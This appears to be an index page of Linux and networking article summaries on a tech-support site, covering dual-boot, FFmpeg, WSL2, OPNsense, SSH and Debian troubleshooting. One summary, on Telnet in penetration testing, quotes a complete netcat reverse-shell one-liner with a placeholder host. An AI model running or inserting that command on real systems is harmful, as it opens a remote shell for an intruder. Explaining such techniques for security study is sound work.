Articles in Linux | UserComp.com

Removing Ubuntu Partition as Primary in Dual-Boot Laptop

Learn how to remove Ubuntu partition as the primary one in a dual-boot laptop, ensuring a smooth Windows experience.

Centos 7: Resolving FFmpeg Issues (Version 2.8.15)

Encountered errors while attempting to run FFmpeg on Centos 7 servers? Learn how to resolve FFmpeg version 2.8.15 issues with this comprehensive troubleshooting guide.

Change Refresh Rate Whenever Power Profile Switches with PowerDevil

Learn how to change the refresh rate of your monitor whenever you switch power profiles using PowerDevil.

USB Wi-Fi Dongle Not Getting IP Address on Ubuntu 18.04 with New USB 3.0 Dongle

A user is experiencing issues with a new USB 3.0 Wi-Fi dongle not obtaining an IP address on Ubuntu 18.04, despite the old USB 2.0 dongle working fine albeit slowly. Learn how to troubleshoot and resolve this issue.

WSL2: DNS Address in resolv.conf Not Updating on Network Change

This article discusses a problem encountered while using WSL2 on Windows 11, where the DNS address in the resolv.conf file fails to update when changing networks. Possible solutions include modifying the WSL2 configuration, using a custom DNS server, or updating network adapter settings.

Generating Loudnorm Conversion Log File with FFmpeg: A Step-by-Step Guide

Learn how to generate a conversion log file when using FFmpeg for Loudnorm audio normalization. This article provides a step-by-step guide for both Linux and Windows users.

Making OPNsense Unreachable after Changing LAN IPv4 DHCP on Hetzner

Learn how to resolve OPNsense becoming unreachable after changing LAN IPv4 DHCP settings on Hetzner.

Git: Why 'git checkout --force' Doesn't Always Revert Modified Changes?

When using 'git checkout --force' to revert to a previous commit, you might encounter issues with modified files. Learn why this happens and how to resolve it.

Managing Multiple Servers with IPv4 Addresses and Different Ports

Learn how to manage multiple servers with IPv4 addresses and different ports by setting up a switch network with a bridge. Each server can run applications on distinct ports.

Setting Up New OPNsense with Almost Default Config and DNS Access Sites on Protected Laptop

Learn how to set up a new OPNsense firewall with almost default configurations and configure DNS access sites on a protected laptop.

Graceful Shutdown of WSL2 with MDADM and p9subsystem on Ubuntu

Learn how to perform a graceful shutdown of WSL2 (Ubuntu, kernel: Linux home 6.1.21.2-microsoft-standard-WSL2) while accessing Windows applications via the standard p9 interface using MDADM and p9subsystem.

Setting up Kerberos SSO for web server login with Microsoft AD

Learn how to set up Kerberos Single Sign-On (SSO) for web server login using Microsoft Active Directory (AD) and Debian Apache. This tutorial will guide you through the process of configuring Kerberos authentication and Microsoft AD as the Key Distribution Center (KDC), enabling you to log in to your web server without typing credentials.

Do Docker Usernamespaces Really Work?

Docker users often encounter questions about usernamespaces and their effectiveness. In this article, we'll discuss the concept of usernamespaces, how they're used in Docker, and the benefits they provide.

Understanding Telnet Behavior in Penetration Testing: Reverse Shells in Unix

This article explains the behavior of Telnet in penetration testing, focusing on Unix systems and reverse shells. It covers a common command used in exploits: RUN rm/tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ip 4444 > /tmp/f.

Understanding the Difference: Pentesting Reverse Shells in Unix vs. Telnet

This article discusses the differences between executing reverse shells in Unix and Telnet during penetration testing. It covers a non-working and working Telnet session example, providing insights into the unique aspects of each environment.

Touchpad Right-Click Issue on Linux Mint Debian Edition Chromebook

Experiencing issues with right-clicking on a Linux Mint Debian Edition Chromebook touchpad? Find solutions in this tech support article.

Unable to Access Internet after Changing Router: Troubleshooting SSH Connection in Proxmox

This article explains the steps to troubleshoot SSH connection issues in Proxmox when the router is changed.

How to Disable Portion Touchscreen in Ubuntu 20.04

Learn how to disable a portion of the touchscreen on Ubuntu 20.04. This article explains the steps to take for a more comfortable and productive experience.

Bare Metal OS Routes Traffic Through Tor: A Comprehensive Guide

Learn how to route traffic from a Bare Metal OS through Tor for enhanced security and privacy. This article covers the setup process and provides essential tips for configuring your system.

SSH Key Workflow: Using SSH Keys with FileZilla, Windows CMD instead of PuTTY

Learn how to use SSH keys with FileZilla on Windows and CMD instead of PuTTY. Follow this SSH key workflow for secure file transfers.

SSH Key WorksWith FileZilla: Not PuTTY - Raspberry Pi Upgrade to Bullseye

Learn how to use SSH keys in FileZilla instead of PuTTY during the Raspberry Pi upgrade to Bullseye.

Linux Ignoring NTFS Permissions: A Permission Problem with Broken HDD

Users may encounter permission problems when accessing files on a broken HDD formatted with NTFS, which is ignored by Linux. This article discusses potential solutions to the issue.

Enabling Hyper-V on a Ubuntu Guest for GPUs Passthrough

Learn how to enable Hyper-V on a Ubuntu guest operating system and configure GPUs passthrough for optimal performance.

OpenSSH 9.6 Supports ED25519 PEM Keys for SSH

OpenSSH 9.6 introduces support for reading ED25519 private keys in PEM format for ssh(1), sshd(8), ssh-add(1), and ssh-keygen(1).

Unable to Connect VirtualBox Guest OS (Rocky Linux 8) to Host (Windows 11) - No Internet Connectivity

This article provides a solution to the issue of a Rocky Linux 8 guest OS failing to connect to the internet on a Windows 11 host using VirtualBox.

Checking SecureBoot Status on a PXE Server for Multiple Installations

This article explains how to check the SecureBoot status on a PXE server that supports various installations, including Ubuntu and Windows 11.

FFMPEG: RTSP Clients Sending 'KeepAlive' Packets to IP Cameras

This article explains how to use FFMPEG libraries (Windows Build) to connect and stream RTSP from IP cameras such as Dahua and Hikvision. The pseudocode provided demonstrates the process of opening an input using avformat_open_input(...).

Syncing Updates with MinIO: A Guide to Atomic File Replacement using mcmirror command

In this article, we will discuss how to use MinIO's mcmirror command for atomic file replacement during bucket file system syncing. This process ensures that files are replaced only if they have been completely uploaded or downloaded, preventing data loss and inconsistencies.

Dual Boot (Windows 11 Pro & Kali Linux) Bluetooth Not Working: A Fix

Learn how to troubleshoot and fix the Bluetooth issue in a dual boot setup with Kali Linux and Windows 11.

Creating tar.gz File Without Parent Folder: A Step-by-Step Guide

In this article, we'll guide you through the process of creating a tar.gz file without the parent folder. We'll cover the steps for Linux systems.

Dual Booting Linux Mint and Windows 10 on an Asus Laptop

Learn how to dual boot Linux Mint and Windows 10 on an Asus laptop. This guide covers the installation process for both operating systems.

Emby Media Server Unable to Access Media Files on TrueNAS SMB Share (Subdirectories)

This article discusses a common issue where Emby Media Server (version 4.8.5.0) fails to access media files stored on a TrueNAS Scaleserver SMB share, specifically with subdirectories.

Building Nginx Pagespeed Module with Modern PSOL binaries on Raspberry Pi 4 Ubuntu Server (aarch64)

This article provides instructions on building the Nginx Pagespeed Module using modern PSOL binaries on Raspberry Pi 4 Ubuntu Server (aarch64).

Cloud-Init Fails to Make Backup of Configuration Files

Users have reported that Cloud-Init does not make a backup of configuration files before running sed commands. In this article, we'll explore the issue and suggest potential solutions.

Understanding the Order of Shell Source Files: A Complete Overview

While researching the ordering of shell source files, we came across several sources online and even read parts of manual shells. However, the order of sourcing still confuses us.

Configuring /etc/hosts on Debian 12: Proper Way to Set Hostname with IP Addresses

In this tech support article, we will guide you through the process of configuring the /etc/hosts file on Debian 12 to set a hostname with its corresponding IP address.

Combining xrandr and redshift for a Darker Screen

This article explains how to combine the use of xrandr and redshift to achieve a darker screen. It covers the commands for setting the brightness of an output using xrandr and activating redshift. Note: This is a tech support article.

Giving User Permissions as Root Using Sudo: Two Methods Explained

In this article, we explain how to give user permissions using the sudo command in two methods: by adding the user to the sudo group and by modifying the sudoers file.

Debian 12 gwtc116-2bk: Unable to Use Wi-Fi - Troubleshooting

This article provides a step-by-step guide to help users troubleshoot Wi-Fi connectivity issues on Debian 12 gwtc116-2bk systems. Learn how to check Wi-Fi hardware, update drivers, and configure network settings.

Installing Debian 12: Detecting Network Hardware with Walmart Gateway Laptop (gWTC116-2BK)

Learn how to install Debian 12 on a Walmart Gateway Laptop (gWTC116-2BK) and detect network hardware during the installation process.

SSH Port Forwarding Not Working: A Troubleshooting Guide for Fedora 39 and Linksys WRT32X Router

This article provides a step-by-step guide to troubleshoot SSH port forwarding issues when using Fedora 39 as the server and a Linksys WRT32X router with OpenWRT 23.05.x. Learn how to configure your server and router to establish a secure and functional connection.

Kernel Driver Backports: Can Older Versions Still Work with Later Versions?